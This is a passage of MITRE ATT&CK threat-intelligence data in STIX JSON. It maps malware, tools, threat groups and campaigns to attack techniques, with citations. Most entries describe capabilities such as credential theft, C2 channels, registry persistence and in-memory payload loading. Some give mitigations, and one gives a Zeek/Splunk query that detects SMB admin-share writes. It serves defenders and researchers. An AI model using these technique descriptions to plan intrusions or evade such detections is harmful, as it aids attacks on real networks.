2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-20T00:23:02.194Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of stealing usernames and passwords from browsers on the victim machine.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7714b4b-93cc-42ab-8cb6-919a66740d71","created":"2024-05-22T20:41:25.336Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:41:25.336Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) connects to command and control servers via HTTP POST requests based on parameters hard-coded into the malware.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7744970-817e-43c6-89e4-86907ac20361","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:39:11.362Z","description":"[Dok](https://attack.mitre.org/software/S0281) prompts the user for credentials.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a77818b1-bbe8-477f-a8b1-1704e525d5a9","type":"relationship","created":"2020-05-06T15:26:38.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T15:26:38.977Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has been executed via malicious links in e-mails.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a778d83c-5452-49ff-87dd-dbd3ef0d380f","created":"2022-09-27T16:24:55.723Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:24:55.723Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the XServer backdoor to exfiltrate data.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a779fd0b-0fa0-4bcd-837f-4d3e12482ca1","type":"relationship","created":"2021-10-17T15:10:00.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.722Z","description":"(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a77d7668-db79-46b0-960a-cfa39db781fa","type":"relationship","created":"2020-07-01T20:27:58.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.328Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has attempted to get users to execute a malicious .app file that looks like a Flash Player update.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a77f2c84-7538-48f5-8809-df2fa47ab6df","created":"2022-09-21T14:48:46.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T20:55:50.611Z","description":"(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a78310c3-ee57-465a-9983-13c6a7cd1d4f","created":"2022-01-07T16:19:16.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.682Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has targeted victims with remote administration tools including RDP.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a78399ce-b5c4-4484-bdbb-3f9367cb1403","created":"2022-09-30T19:05:56.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T12:43:55.850Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) can send HTTP GET requests to malicious servers.(Citation: CYBERCOM Iranian Intel Cyber January 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a789a8cd-356f-4211-bffd-7ad1197b65a3","created":"2023-09-05T14:21:17.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Cryptojacking 2023","description":"Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:17:43.024Z","description":"Monitor for quota increases across all regions, especially multiple quota increases in a short period of time or quota increases in unused regions. In Azure environments, monitor for changes to tenant-level settings such as enabled regions.(Citation: Microsoft Cryptojacking 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a78cac98-60e1-406a-8486-fcaf04a644e3","created":"2020-10-19T23:49:08.663Z","x_mitre_version":"1.0","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Apply extended ACLs to block unauthorized protocols outside the trusted network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","modified":"2022-04-19T21:34:20.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a78cd480-758b-4fb5-a60a-ecb86d837012","type":"relationship","created":"2021-10-06T16:13:04.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-10-06T16:13:04.790Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has packed malware with UPX.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a79a17c4-02d1-463f-ac0a-d62b20d10b2f","type":"relationship","created":"2020-10-28T13:16:12.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-24T20:07:19.298Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) has the ability to map domain trusts and identify misconfigurations for potential abuse.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a79df7b6-91d5-4019-9a86-830bc0edc2aa","created":"2023-09-28T13:27:14.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:37:01.270Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can allowlist IP addresses in AWS GuardDuty.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a79ff150-e765-4303-9668-ff553d6000cd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.449Z","description":"[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7a27fb9-551b-4f6c-9d5a-3c230366bd85","created":"2024-08-26T18:19:50.192Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:19:50.192Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) registered virtual private servers to host payloads for download.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a7ad3949-0d4d-49a8-a2cd-3a0d5857ba92","created":"2022-06-09T19:33:12.904Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has established persistence by being copied to the Startup directory or through the `\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T20:50:33.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7add7de-11f5-44df-b9c3-3cd431b970be","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:23:49.800Z","description":"Monitor for newly constructed network connections (typically over ports 139 or 445), especially those that are sent or received by abnormal or untrusted hosts. Correlate these network connections with remote login events and associated SMB-related activity such as file transfers and remote process execution.\n\nNote: Event ID is for Zeek but can also be implemented in other Network Analysis Frameworks by parsing & decoding captured SMB2 network traffic. Preference would be to detect smb2_write_response event (instead of smb2_write_request), because it would confirm the file was actually written to the remote destination. Unfortunately, Bro/Zeek does not have an event for that SMB message-type yet. From a network traffic capture standpoint, it’s important to capture the right traffic for this type of detection to function (e.g., all endpoint to endpoint if possible or workstation to server and workstation to workstation). As such, it is helpful to have a centralized server area where it is possible to monitor communications between servers and endpoints.\n\nAnalytic 1 and 2 are very similar, with the key difference being that Implementation 2 is intended to capture multiple attempts at lateral movement originating from the same host within a short time period (5 minutes).\n\n- smb2_write_request, smb1_write_andx_response is indication of an SMB file write to a Windows Admin File Share: ADMIN$ or C$\n\n- smb2_tree_connect_request, smb1_tree_connect_andx_request is observed originating from the same host, regardless of write-attempts and regardless of whether or not any connection is successful —just connection attempts— within a specified period of time (REPEATS 5 TIMES WITHIN 5 MINUTES FROM SAME src_ip).\n\nFrom a network traffic capture standpoint, it’s important to capture the right traffic for this type of detection to function (e.g., all endpoint to endpoint if possible or workstation to server and workstation to workstation). As such, it is helpful to have a centralized server area where it is possible to monitor communications between servers and endpoints.The Service Control Manager (SCM) can be used to copy a file to the ADMIN$ share and execute it as a service. This can be detected by looking for incoming RPC network connections to the Service Control Manager, followed by services.exe spawning a child process.\n\nAnalytic 1 - Basic\n\nsourcetype=\"Zeek:SMB_Files\" EventCode IN (\"smb2_write_request\", \"smb1_write_andx_response\", \"smb2_tree_connect_request\", \"smb1_tree_connect_andx_request\") AND (Path=\"ADMIN$\" OR Path=\"C$\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7b07cff-8743-4fe9-9999-8ad32995fa95","type":"relationship","created":"2019-09-24T13:37:11.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZEUNION Feb 2019","url":"https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox","description":"Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION’s Toolbox. Retrieved September 24, 2019."}],"modified":"2020-03-18T20:47:53.443Z","description":"(Citation: Secureworks BRONZEUNION Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7be99ec-2a20-406a-b552-7c32760bb52c","type":"relationship","created":"2021-10-15T16:57:22.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-15T16:57:22.397Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has enumerated shared folders and mapped volumes.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7c6693e-d1e2-4396-982f-85978c9b97a3","type":"relationship","created":"2021-01-28T19:56:08.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.034Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can make modifications to the Regsitry for persistence.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7c79cef-cd50-4106-a78d-fc56cb2da51a","created":"2022-09-28T13:41:23.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-22T13:22:22.732Z","description":"Limit on-premises accounts with access to the hybrid identity solution in place. For example, limit Entra ID Global Administrator accounts to only those required, and ensure that these are dedicated cloud-only accounts rather than hybrid ones.(Citation: MagicWeb)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"}],"modified":"2019-08-16T18:52:50.584Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) obfuscates C2 traffic with variable 4-byte XOR keys.(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7cba2fb-a90f-4dd1-ae33-3747d5a9c873","type":"relationship","created":"2022-03-25T14:32:35.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:50:00.980Z","description":"[Donut](https://attack.mitre.org/software/S0695) can generate code modules that enable in-memory execution of VBScript, JScript, EXE, DLL, and dotNET payloads.(Citation: Donut Github)","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7cdf456-9ad0-402b-a914-5f1ebcd873a3","type":"relationship","created":"2020-06-01T14:41:54.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.876Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to communicate with C2 with TCP over port 443.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a7d74cbe-ff0d-428c-8869-148f6bab807b","created":"2024-09-18T19:10:15.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 